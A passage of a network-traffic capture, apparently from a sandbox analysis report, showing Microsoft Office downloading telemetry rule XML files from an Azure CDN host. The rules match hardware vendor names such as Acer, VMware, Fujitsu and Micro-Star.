2024-11-18 23:02:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 09c62b6e-c01e-002b-7879-376e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-164f84587bftbpb6hC1DFWm4kg000000056g00000000n0me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49795	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-16547b76f7fht2hfhC1DFWbngg00000006w000000000ah3t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-16547b76f7ftfv4jhC1DFWuhug00000003z000000000tm0r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49796	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a5983e6-f01e-001f-229b-365dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-164f84587bfrrmqdhC1DFWvu6s000000055g000000001ek8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-16547b76f7fwcwmrhC1DFWtp0400000002d0000000006k66 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-16547b76f7fkf5v9hC1DFW2y5s00000006cg000000006w4c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-16547b76f7fm8pcwhC1DFWaxcc00000004eg00000000xe6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-r18f44ddb69kljqthC1DFWc7dn00000000f0000000002z6h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49802	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230215Z-16547b76f7ffqpvqhC1DFWwf3n000000012g000000008m0n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49799	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c1061624-501e-008c-1ca4-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-1866b5c5fbbr78bbhC1DFWqz2n00000006mg00000000dmrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-16547b76f7fd77jrhC1DFWfwq0000000032000000000u6xm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
